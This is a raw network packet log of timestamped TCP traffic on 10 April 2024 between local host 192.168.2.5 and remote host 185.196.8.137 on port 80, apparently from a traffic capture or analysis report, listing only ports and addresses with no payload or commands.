Apr 10, 2024 10:24:12.362261057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362261057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362261057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362394094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362394094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362394094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362394094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362394094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362394094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362458944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362458944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362458944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362581015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362581015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362581015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362581015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362581015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362581968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362729073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362729073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362729073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362729073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362729073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362729073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362847090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362847090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362847090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362847090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362847090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362848043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362926006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362926006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362926006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362987995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362987995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362987995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363106012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363106012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363106012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363106012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363106012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363106012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363229036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363229036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363229036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363229036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363229036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363229036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363302946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363302946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363302946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363398075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363398075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363398075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363481045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363481045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363481045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363481045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363481045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363481045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363594055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363594055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363594055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363641977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363641977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363641977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363662958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363662958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363662958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363755941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363755941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363755941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363815069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363815069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363815069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363918066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363918066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363918066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363918066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363918066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.363918066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364036083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364036083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364036083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364036083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364036083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364036083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364130020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364130020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364130020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364228964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364228964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364228964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364228964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364228964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364228964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364300966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364300966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364300966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364353895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364353895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364353895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364414930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364414930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364414930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364526987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364526987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364526987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364526987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364526987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364526987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364593029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364593029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364593029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364697933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364697933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364697933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364697933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364697933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364697933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364794016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364794016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364794016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364866972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364866972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364866972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364866972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364866972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364866972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364968061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364968061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364968061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364968061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364968061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.364968061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365086079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365086079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365086079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365086079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365086079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365086079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365150928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365150928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365150928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365195036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365195036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365195036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365252972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365252972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365252972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365350962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365350962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365350962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365413904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365413904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365415096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365415096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365415096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365415096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365514040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365514040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365514040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365514040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365514040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365514040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365546942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.365578890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365578890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365580082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365664005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365664005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365664005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365669966 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.365725040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365725040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365725040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365803003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.365819931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.365843058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365843058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365843058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365843058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365843058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365843058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365885019 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.365921021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365921021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365963936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365963936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.365963936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366034985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366034985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366034985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366046906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366085052 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366091967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366091967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366092920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366111994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366111994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366194010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366194010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366194010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366194963 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366225004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366225004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366225004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366272926 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366287947 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366308928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366308928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366308928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366425991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366425991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366425991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366425991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366425991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366425991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366450071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366492033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366492033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366492033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366595030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366595030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366595030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366595030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366595030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366595030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366616964 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366632938 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366647959 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366657019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366657019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366657019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366663933 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366679907 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366692066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366712093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366712093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366760015 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366774082 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.366794109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366794109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366794109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366903067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366903067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366903067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366985083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366985083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366985083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366985083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366985083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.366985083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367062092 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367078066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367078066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367078066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367078066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367104053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367104053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367104053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367139101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367202044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367219925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367219925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367219925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367285967 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367302895 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367311954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367312908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367312908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367312908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367319107 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367403984 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367419004 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367439985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367439985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367439985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367563009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367563009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367563009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367563009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367563009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367563009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367597103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367613077 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367633104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367633104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367633104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367695093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367701054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367701054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367702007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367716074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367780924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367784977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367784977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367784977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367805004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367846012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367861032 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367881060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367881060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367881060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367881060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367947102 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.367980957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367980957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367980957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.367980957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368010044 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368026018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368046045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368046045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368046045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368046045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368072987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368094921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368134975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368140936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368140936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368165016 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368200064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368200064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368200064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368227005 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368237019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368243933 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368256092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368283987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368417025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368417025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368417025 CEST	49718	80	192.168.2.5	185.196.8.137
